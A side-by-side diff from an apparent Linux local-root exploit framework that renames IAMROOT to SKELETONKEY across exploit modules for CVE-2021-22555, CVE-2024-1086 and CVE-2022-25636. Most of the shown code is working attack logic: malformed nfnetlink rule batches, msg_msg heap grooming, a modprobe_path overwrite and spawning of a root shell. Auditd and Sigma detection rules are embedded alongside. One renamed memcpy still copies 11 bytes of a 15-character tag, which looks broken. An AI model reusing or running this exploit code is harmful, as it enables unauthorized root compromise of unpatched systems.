if (unlink("/tmp/iamroot-xtcompat.log") < 0 && errno != ENOENT) { if (unlink("/tmp/skeletonkey-xtcompat.log") < 0 && errno != ENOENT) {
/* harmless */ /* harmless */
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* ---- Detection rules --------------------------------------------- */ /* ---- Detection rules --------------------------------------------- */
@@ -970,12 +970,12 @@ static const char netfilter_xtcompat_auditd[] =
"# The exploit's hallmarks: unshare(USER|NET) chained with iptables\n" "# The exploit's hallmarks: unshare(USER|NET) chained with iptables\n"
"# rule setup via setsockopt(SOL_IP, IPT_SO_SET_REPLACE=64) and\n" "# rule setup via setsockopt(SOL_IP, IPT_SO_SET_REPLACE=64) and\n"
"# msgsnd/msgrcv heap-spray patterns.\n" "# msgsnd/msgrcv heap-spray patterns.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-xtcompat\n" "-a always,exit -F arch=b64 -S unshare -k skeletonkey-xtcompat\n"
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k iamroot-xtcompat-iptopt\n" "-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k skeletonkey-xtcompat-iptopt\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-xtcompat-msgmsg\n" "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
"-a always,exit -F arch=b64 -S msgrcv -k iamroot-xtcompat-msgmsg\n"; "-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";
const struct iamroot_module netfilter_xtcompat_module = { const struct skeletonkey_module netfilter_xtcompat_module = {
.name = "netfilter_xtcompat", .name = "netfilter_xtcompat",
.cve = "CVE-2021-22555", .cve = "CVE-2021-22555",
.summary = "iptables xt_compat_target_to_user 4-byte heap-OOB write → cross-cache UAF → root", .summary = "iptables xt_compat_target_to_user 4-byte heap-OOB write → cross-cache UAF → root",
@@ -991,7 +991,7 @@ const struct iamroot_module netfilter_xtcompat_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_netfilter_xtcompat(void) void skeletonkey_register_netfilter_xtcompat(void)
{ {
iamroot_register(&netfilter_xtcompat_module); skeletonkey_register(&netfilter_xtcompat_module);
} }
@@ -0,0 +1,12 @@
/*
* netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module registry hook
*/
#ifndef NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
#define NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module netfilter_xtcompat_module;
#endif
+1 -1
View File
@@ -16,7 +16,7 @@ GitHub: <https://github.com/Notselwyn/CVE-2024-1086>
Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024). Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024).
Stable backports throughout Q1 2024. Stable backports throughout Q1 2024.
## IAMROOT role ## SKELETONKEY role
This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP
in the same verdict) via a hand-rolled nfnetlink batch — no libmnl in the same verdict) via a hand-rolled nfnetlink batch — no libmnl
@@ -1,12 +0,0 @@
/*
* nf_tables_cve_2024_1086 — IAMROOT module registry hook
*/
#ifndef NF_TABLES_IAMROOT_MODULES_H
#define NF_TABLES_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nf_tables_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* nf_tables_cve_2024_1086 IAMROOT module * nf_tables_cve_2024_1086 SKELETONKEY module
* *
* Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist * Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
* with NFT_DROP/NFT_QUEUE. Triggers a double-free cross-cache UAF * with NFT_DROP/NFT_QUEUE. Triggers a double-free cross-cache UAF
@@ -13,11 +13,11 @@
* (table chain set rule with the NFT_GOTO+NFT_DROP combo * (table chain set rule with the NFT_GOTO+NFT_DROP combo
* that nft_verdict_init() fails to reject on vulnerable kernels), * that nft_verdict_init() fails to reject on vulnerable kernels),
* fires the double-free path, runs the msg_msg cg-96 groom, and * fires the double-free path, runs the msg_msg cg-96 groom, and
* returns IAMROOT_EXPLOIT_FAIL (primitive-only behavior). * returns SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
* - With --full-chain: after the trigger lands, we resolve kernel * - With --full-chain: after the trigger lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run * offsets (env kallsyms System.map embedded table) and run
* a Notselwyn-style pipapo arb-write via the shared * a Notselwyn-style pipapo arb-write via the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself * skeletonkey_finisher_modprobe_path() helper. The arb-write itself
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg * is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
* payload tagged with the kaddr in the value-pointer slot. The * payload tagged with the kaddr in the value-pointer slot. The
* exact pipapo_elem layout (and the value-pointer field offset) * exact pipapo_elem layout (and the value-pointer field offset)
@@ -34,7 +34,7 @@
* heap pointer. * heap pointer.
* 3. Implement the sk_buff fragment overwrite to plant a fake * 3. Implement the sk_buff fragment overwrite to plant a fake
* pipapo_elem whose value points at modprobe_path. * pipapo_elem whose value points at modprobe_path.
* 4. Fire trigger that writes "/tmp/iamroot-pwn" into modprobe_path. * 4. Fire trigger that writes "/tmp/skeletonkey-pwn" into modprobe_path.
* 5. execve() an unknown binary to invoke modprobe with our payload. * 5. execve() an unknown binary to invoke modprobe with our payload.
* *
* Affected kernel ranges: * Affected kernel ranges:
@@ -55,7 +55,7 @@
* for unprivileged users even on a kernel-vulnerable host. * for unprivileged users even on a kernel-vulnerable host.
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
#include "../../core/offsets.h" #include "../../core/offsets.h"
@@ -134,12 +134,12 @@ static bool nf_tables_loaded(void)
return found; return found;
} }
static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n"); fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* Bug introduced in 5.14. Anything below predates it. */ /* Bug introduced in 5.14. Anything below predates it. */
@@ -148,7 +148,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug " fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
"(introduced in 5.14)\n", v.release); "(introduced in 5.14)\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
bool patched = kernel_range_is_patched(&nf_tables_range, &v); bool patched = kernel_range_is_patched(&nf_tables_range, &v);
@@ -156,7 +156,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release); fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
int userns_ok = can_unshare_userns(); int userns_ok = can_unshare_userns();
@@ -180,14 +180,14 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nf_tables: still patch the kernel — a root " fprintf(stderr, "[i] nf_tables: still patch the kernel — a root "
"attacker can still trigger the bug\n"); "attacker can still trigger the bug\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns " fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns "
"clone allowed\n"); "clone allowed\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
/* ------------------------------------------------------------------ /* ------------------------------------------------------------------
@@ -229,7 +229,7 @@ static int enter_unpriv_namespaces(void)
/* ------------------------------------------------------------------ /* ------------------------------------------------------------------
* Minimal nfnetlink batch builder. We hand-roll this rather than * Minimal nfnetlink batch builder. We hand-roll this rather than
* pulling libmnl, both to keep IAMROOT dep-free and because the bug * pulling libmnl, both to keep SKELETONKEY dep-free and because the bug
* relies on a specific malformed verdict that libnftnl validates away. * relies on a specific malformed verdict that libnftnl validates away.
* *
* Each helper appends to a contiguous batch buffer at *off. * Each helper appends to a contiguous batch buffer at *off.
@@ -318,9 +318,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* Build the ruleset that fires the bug. Strategy mirrors Notselwyn's * Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
* PoC (greatly simplified): * PoC (greatly simplified):
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES) * 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
* 2. NFT_MSG_NEWTABLE "iamroot_t" family=inet * 2. NFT_MSG_NEWTABLE "skeletonkey_t" family=inet
* 3. NFT_MSG_NEWCHAIN "iamroot_c" inside the table * 3. NFT_MSG_NEWCHAIN "skeletonkey_c" inside the table
* 4. NFT_MSG_NEWSET "iamroot_s" inside the table, key=verdict, * 4. NFT_MSG_NEWSET "skeletonkey_s" inside the table, key=verdict,
* data=verdict (the pipapo combo that holds the bad verdict), * data=verdict (the pipapo combo that holds the bad verdict),
* flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL * flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
* 5. NFT_MSG_NEWSETELEM with a verdict element whose * 5. NFT_MSG_NEWSETELEM with a verdict element whose
@@ -341,9 +341,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* cross-cache groom. * cross-cache groom.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_t"; static const char NFT_TABLE_NAME[] = "skeletonkey_t";
static const char NFT_CHAIN_NAME[] = "iamroot_c"; static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
static const char NFT_SET_NAME[] = "iamroot_s"; static const char NFT_SET_NAME[] = "skeletonkey_s";
/* batch begin / end markers */ /* batch begin / end markers */
static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq) static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
@@ -382,7 +382,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
end_msg(buf, off, at); end_msg(buf, off, at);
} }
/* NFT_MSG_NEWTABLE inet "iamroot_t" */ /* NFT_MSG_NEWTABLE inet "skeletonkey_t" */
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq) static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
{ {
size_t at = *off; size_t at = *off;
@@ -447,8 +447,8 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
* AND once on data_release double free. * AND once on data_release double free.
* *
* We pack: * We pack:
* NFTA_SET_ELEM_LIST_TABLE = "iamroot_t" * NFTA_SET_ELEM_LIST_TABLE = "skeletonkey_t"
* NFTA_SET_ELEM_LIST_SET = "iamroot_s" * NFTA_SET_ELEM_LIST_SET = "skeletonkey_s"
* NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP), * NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
* data=verdict(GOTO chain-id=...) } } * data=verdict(GOTO chain-id=...) } }
*/ */
@@ -657,7 +657,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq)
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the * lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
* exploitable range for which Notselwyn's public PoC was validated) * exploitable range for which Notselwyn's public PoC was validated)
* and rely on the shared finisher's sentinel-file post-check to flag * and rely on the shared finisher's sentinel-file post-check to flag
* a layout mismatch as IAMROOT_EXPLOIT_FAIL rather than fake success. * a layout mismatch as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
struct nft_arb_ctx { struct nft_arb_ctx {
@@ -798,11 +798,11 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct
* The exploit body. * The exploit body.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
{ {
/* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */ /* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
iamroot_result_t pre = nf_tables_detect(ctx); skeletonkey_result_t pre = nf_tables_detect(ctx);
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n"); fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
return pre; return pre;
} }
@@ -811,7 +811,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
if (geteuid() == 0) { if (geteuid() == 0) {
if (!ctx->json) if (!ctx->json)
fprintf(stderr, "[i] nf_tables: already running as root\n"); fprintf(stderr, "[i] nf_tables: already running as root\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
if (!ctx->json) { if (!ctx->json) {
@@ -834,27 +834,27 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
* as the arb-write. * as the arb-write.
*/ */
if (ctx->full_chain) { if (ctx->full_chain) {
struct iamroot_kernel_offsets off; struct skeletonkey_kernel_offsets off;
iamroot_offsets_resolve(&off); skeletonkey_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) { if (!skeletonkey_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("nf_tables"); skeletonkey_finisher_print_offset_help("nf_tables");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
iamroot_offsets_print(&off); skeletonkey_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) { if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nf_tables: userns entry failed\n"); fprintf(stderr, "[-] nf_tables: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER); int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (sock < 0) { if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)"); perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
struct sockaddr_nl src = { .nl_family = AF_NETLINK }; struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) { if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL; perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
} }
int rcvbuf = 1 << 20; int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf); setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
@@ -863,11 +863,11 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
int qids[SPRAY_MSGS * 4]; int qids[SPRAY_MSGS * 4];
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1; for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) { if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
close(sock); return IAMROOT_EXPLOIT_FAIL; close(sock); return SKELETONKEY_EXPLOIT_FAIL;
} }
uint8_t *batch = calloc(1, 16 * 1024); uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; } if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */ /* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
uint32_t seq = (uint32_t)time(NULL); uint32_t seq = (uint32_t)time(NULL);
@@ -880,12 +880,12 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] nf_tables: trigger batch failed\n"); fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
drain_spray(qids, SPRAY_MSGS / 2); drain_spray(qids, SPRAY_MSGS / 2);
free(batch); close(sock); free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
/* Wire up the arb-write context and hand off to the shared /* Wire up the arb-write context and hand off to the shared
* finisher. The finisher will: * finisher. The finisher will:
* - call nft_arb_write(modprobe_path, "/tmp/iamroot-mp-...", N) * - call nft_arb_write(modprobe_path, "/tmp/skeletonkey-mp-...", N)
* which re-fires the trigger and sprays forged pipapo elems * which re-fires the trigger and sprays forged pipapo elems
* - execve() the trigger binary to invoke modprobe * - execve() the trigger binary to invoke modprobe
* - poll for the setuid sentinel, and spawn a root shell. */ * - poll for the setuid sentinel, and spawn a root shell. */
@@ -898,7 +898,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
.qused = SPRAY_MSGS / 2, .qused = SPRAY_MSGS / 2,
}; };
iamroot_result_t r = iamroot_finisher_modprobe_path(&off, skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&off,
nft_arb_write, &ac, !ctx->no_shell); nft_arb_write, &ac, !ctx->no_shell);
drain_spray(qids, ac.qused); drain_spray(qids, ac.qused);
@@ -913,7 +913,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
* kernel panics on KASAN we don't want our parent process to be * kernel panics on KASAN we don't want our parent process to be
* the one that takes the hit. */ * the one that takes the hit. */
pid_t child = fork(); pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; } if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) { if (child == 0) {
/* --- CHILD --- */ /* --- CHILD --- */
@@ -1040,7 +1040,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
"fired (KASAN/oops can manifest as child signal)\n", "fired (KASAN/oops can manifest as child signal)\n",
WTERMSIG(status)); WTERMSIG(status));
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
int rc = WEXITSTATUS(status); int rc = WEXITSTATUS(status);
@@ -1054,20 +1054,20 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
" cross-cache groom + modprobe_path overwrite\n" " cross-cache groom + modprobe_path overwrite\n"
" from github.com/Notselwyn/CVE-2024-1086.\n"); " from github.com/Notselwyn/CVE-2024-1086.\n");
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (rc >= 20 && rc <= 25) { if (rc >= 20 && rc <= 25) {
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc); fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc); fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
/* ----- Embedded detection rules ----- */ /* ----- Embedded detection rules ----- */
@@ -1077,15 +1077,15 @@ static const char nf_tables_auditd[] =
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n" "# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n"
"# This is the canonical exploit shape; legitimate userns + nft use\n" "# This is the canonical exploit shape; legitimate userns + nft use\n"
"# (e.g. firewalld, docker rootless) will also trip — tune per env.\n" "# (e.g. firewalld, docker rootless) will also trip — tune per env.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nf-tables-userns\n" "-a always,exit -F arch=b64 -S unshare -k skeletonkey-nf-tables-userns\n"
"-a always,exit -F arch=b32 -S unshare -k iamroot-nf-tables-userns\n" "-a always,exit -F arch=b32 -S unshare -k skeletonkey-nf-tables-userns\n"
"# Also watch for the canonical post-exploit primitives: modprobe_path\n" "# Also watch for the canonical post-exploit primitives: modprobe_path\n"
"# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n" "# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nf-tables-priv\n"; "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nf-tables-priv\n";
static const char nf_tables_sigma[] = static const char nf_tables_sigma[] =
"title: Possible CVE-2024-1086 nf_tables UAF exploitation\n" "title: Possible CVE-2024-1086 nf_tables UAF exploitation\n"
"id: a72b5e91-iamroot-nf-tables\n" "id: a72b5e91-skeletonkey-nf-tables\n"
"status: experimental\n" "status: experimental\n"
"description: |\n" "description: |\n"
" Detects the canonical exploit shape: unprivileged user creating a\n" " Detects the canonical exploit shape: unprivileged user creating a\n"
@@ -1107,7 +1107,7 @@ static const char nf_tables_sigma[] =
"level: high\n" "level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n"; "tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
const struct iamroot_module nf_tables_module = { const struct skeletonkey_module nf_tables_module = {
.name = "nf_tables", .name = "nf_tables",
.cve = "CVE-2024-1086", .cve = "CVE-2024-1086",
.summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W", .summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W",
@@ -1123,7 +1123,7 @@ const struct iamroot_module nf_tables_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_nf_tables(void) void skeletonkey_register_nf_tables(void)
{ {
iamroot_register(&nf_tables_module); skeletonkey_register(&nf_tables_module);
} }
@@ -0,0 +1,12 @@
/*
* nf_tables_cve_2024_1086 — SKELETONKEY module registry hook
*/
#ifndef NF_TABLES_SKELETONKEY_MODULES_H
#define NF_TABLES_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nf_tables_module;
#endif
+2 -2
View File
@@ -17,12 +17,12 @@ Original writeup:
Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022). Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022).
Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181. Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181.
## IAMROOT role ## SKELETONKEY role
userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE → userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE →
NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates
+ fwd, overruning `action.entries[1]`. msg_msg cross-cache groom + fwd, overruning `action.entries[1]`. msg_msg cross-cache groom
into kmalloc-512 with `IAMROOT_FWD` tags. into kmalloc-512 with `SKELETONKEY_FWD` tags.
`--full-chain` extends with stride-seeded forged action_entry `--full-chain` extends with stride-seeded forged action_entry
overwrite aimed at modprobe_path via the shared finisher. overwrite aimed at modprobe_path via the shared finisher.
@@ -1,12 +0,0 @@
/*
* nft_fwd_dup_cve_2022_25636 — IAMROOT module registry hook
*/
#ifndef NFT_FWD_DUP_IAMROOT_MODULES_H
#define NFT_FWD_DUP_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nft_fwd_dup_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* nft_fwd_dup_cve_2022_25636 IAMROOT module * nft_fwd_dup_cve_2022_25636 SKELETONKEY module
* *
* Heap OOB write in net/netfilter/nf_dup_netdev.c :: * Heap OOB write in net/netfilter/nf_dup_netdev.c ::
* nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx, * nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
@@ -41,7 +41,7 @@
* - nf_tables module loadable * - nf_tables module loadable
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
#include "../../core/offsets.h" #include "../../core/offsets.h"
@@ -125,12 +125,12 @@ static bool nf_tables_loaded(void)
return found; return found;
} }
static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n"); fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* The offload code path only exists from 5.4 onward. Anything /* The offload code path only exists from 5.4 onward. Anything
@@ -140,7 +140,7 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug " fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug "
"(nft offload hook introduced in 5.4)\n", v.release); "(nft offload hook introduced in 5.4)\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v); bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v);
@@ -148,7 +148,7 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release); fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
int userns_ok = can_unshare_userns(); int userns_ok = can_unshare_userns();
@@ -172,14 +172,14 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_fwd_dup: still patch the kernel — a root\n" fprintf(stderr, "[i] nft_fwd_dup: still patch the kernel — a root\n"
" attacker can still hit the OOB.\n"); " attacker can still hit the OOB.\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[!] nft_fwd_dup: VULNERABLE — kernel in range AND user_ns " fprintf(stderr, "[!] nft_fwd_dup: VULNERABLE — kernel in range AND user_ns "
"clone allowed\n"); "clone allowed\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
/* ------------------------------------------------------------------ /* ------------------------------------------------------------------
@@ -334,7 +334,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
* Rule construction the heart of the trigger. * Rule construction the heart of the trigger.
* *
* Strategy (Aaron Adams shape): * Strategy (Aaron Adams shape):
* NEWTABLE netdev "iamroot_fdt" * NEWTABLE netdev "skeletonkey_fdt"
* NEWCHAIN base chain on ingress, family=netdev, * NEWCHAIN base chain on ingress, family=netdev,
* flags = NFT_CHAIN_HW_OFFLOAD critical: this is what * flags = NFT_CHAIN_HW_OFFLOAD critical: this is what
* drives nft_flow_rule_create() to call the offload hooks * drives nft_flow_rule_create() to call the offload hooks
@@ -355,8 +355,8 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
* the adjacent kmalloc-512 chunk. Boom. * the adjacent kmalloc-512 chunk. Boom.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_fdt"; static const char NFT_TABLE_NAME[] = "skeletonkey_fdt";
static const char NFT_CHAIN_NAME[] = "iamroot_fdc"; static const char NFT_CHAIN_NAME[] = "skeletonkey_fdc";
static const char NFT_DUMMY_IF[] = "lo"; /* hookmust be on a real iface */ static const char NFT_DUMMY_IF[] = "lo"; /* hookmust be on a real iface */
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq) static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
@@ -513,7 +513,7 @@ static int spray_msg_msg_groom(int *queues, int n_queues)
memset(&p, 0, sizeof p); memset(&p, 0, sizeof p);
p.mtype = 0x46; p.mtype = 0x46;
memset(p.mtext, 0xAA, sizeof p.mtext); memset(p.mtext, 0xAA, sizeof p.mtext);
memcpy(p.mtext, "IAMROOT_FWD", 11); memcpy(p.mtext, "SKELETONKEY_FWD", 11);
